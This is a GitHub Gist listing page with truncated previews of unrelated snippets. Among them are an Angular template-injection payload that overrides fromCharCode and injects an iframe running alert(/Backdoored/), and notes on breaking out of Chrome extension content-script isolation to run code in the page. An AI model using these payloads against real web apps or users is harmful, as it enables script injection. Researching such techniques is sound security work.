Skip to content

Instantly share code, notes, and snippets.

View micolous's full-sized avatar
💭
I may be slow to respond.

micolous micolous

💭
I may be slow to respond.
View GitHub Profile
#!/usr/bin/python
# -*- coding: utf-8 -*-
CODE = { "10" : u"▌", "01": u"▐", "11": u"█", "00": u" "}
CHARS = {'0':'1010001110111010',
'1':'1110100010101110',
'2':'1011100010101110',
'3':'1110111000101010',
'4':'1010001110101110',
'5':'1110100011101010',
@jeromyevans
jeromyevans / interactive-log.txt
Created November 20, 2016 20:39
Fitbit Aria Interactive Terminal
Built on Feb 29 2016 15:11:54
Config lost - RTC invalid - external reset/power failure
04003660: 20 f8 5e a
b 21 55 ff ff 39 35 30 45
04003680: 45 41 41 44 37 32 42 30 36 35 46 36 43 39 34 36 36 43 37 30 43 44 41 3
9 42 39 37 41 93 2c 80 00
040036a0: 01 02 ff ff
Flojo App version 39, WFW version 2c0200
Boot time 0
@mccabe615
mccabe615 / AngularTI.md
Last active April 18, 2024 11:37
Angular Template Injection Payloads

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
@marzocchi
marzocchi / manifest.json
Last active April 5, 2018 14:09
Chrome extension that overrides navigator.geolocation with Mocklocation in all pages
{
"manifest_version": 2,
"name": "Mocklocation",
"description": "Override navigator.geolocation with Mocklocation",
"version": "0.1",
"permissions": [
"http://*/*",
"https://*/*"
],
@sj26
sj26 / gist:8842998
Created February 6, 2014 12:13
Fake NNCS server
#!/usr/bin/env python
import sys
import socket
import select
import signal
from Debug import dinit, dprint
.fc {
direction: ltr;
text-align: left; }
.fc table {
border-collapse: collapse;
border-spacing: 0; }
.fc .btn {
line-height: 1.2em; }
html .fc {
@tavisrudd
tavisrudd / jump_out_of_chrome_sandbox.js
Created August 26, 2011 20:40
notes on how to break out of chrome extension content script sandboxes and eval code in page context
// Chrome extension 'content scripts' run in a sandboxed 'isolated world'
// (http://code.google.com/chrome/extensions/content_scripts.html#execution-environment).
// However, there are ways to get out and execute js code in the page
// context. Google searching revealed the following ways:
////////////////////////////////////////////////////////////////////////////////
// http://blog.afterthedeadline.com/2010/05/14/how-to-jump-through-hoops-and-make-a-chrome-extension/
// it looks like jQuery must be loaded by the content-script
jQuery('body').append('<script type="text/javascript">(function(l) {
var res = document.createElement('SCRIPT');